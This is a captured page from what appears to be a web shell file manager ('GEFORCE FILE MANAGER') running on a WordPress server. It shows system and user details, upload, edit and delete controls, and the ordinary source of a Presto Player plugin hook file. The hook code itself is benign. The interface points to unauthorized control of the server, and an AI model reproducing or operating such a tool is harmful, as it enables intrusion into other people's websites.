[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
blocks
/
blocks
/
popup
/
hooks
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 templates.js
3,605 B
SET
[ EDIT ]
|
[ DEL ]
📄 usePopupTemplate.js
1,866 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: usePopupTemplate.js
import * as template from "./templates"; import { useDispatch } from "@wordpress/data"; import { createBlocksFromInnerBlocksTemplate } from "@wordpress/blocks"; /** * Hook for creating popup templates * * @returns {Object} { replaceTemplate } */ export const usePopupTemplate = (clientId) => { const { replaceInnerBlocks } = useDispatch("core/block-editor"); /** * Replaces specific template parts based on available params * Performs the actual replaceInnerBlocks operation */ const replaceTemplate = ({ type, provider, mediaId = null, imageUrl = null, }) => { if (!clientId) { console.warn("replaceTemplate: clientId is required"); return; } // Initialize the templates. let mediaTemplate = []; let templateToUse = []; // Set the appropriate static template as base template from templates.js. let triggerTemplate = imageUrl ? template[type](imageUrl) : template[type](); if (!triggerTemplate) { console.warn(`replaceTemplate: template for type "${type}" not found`); return; } // Add the media block to the template. if (provider || mediaId) { mediaTemplate = [ "presto-player/popup-media", {}, [ mediaId ? ["presto-player/reusable-display", { id: mediaId }] : [`presto-player/${provider}`, {}], ], ]; } // This is to ensure empty arrays are not passed to template. if (triggerTemplate.length > 0) { templateToUse = [triggerTemplate]; } if (mediaTemplate.length > 0) { templateToUse = [...templateToUse, mediaTemplate]; } // Replace the inner blocks with the template. replaceInnerBlocks( clientId, createBlocksFromInnerBlocksTemplate(templateToUse) ); }; return { replaceTemplate, }; };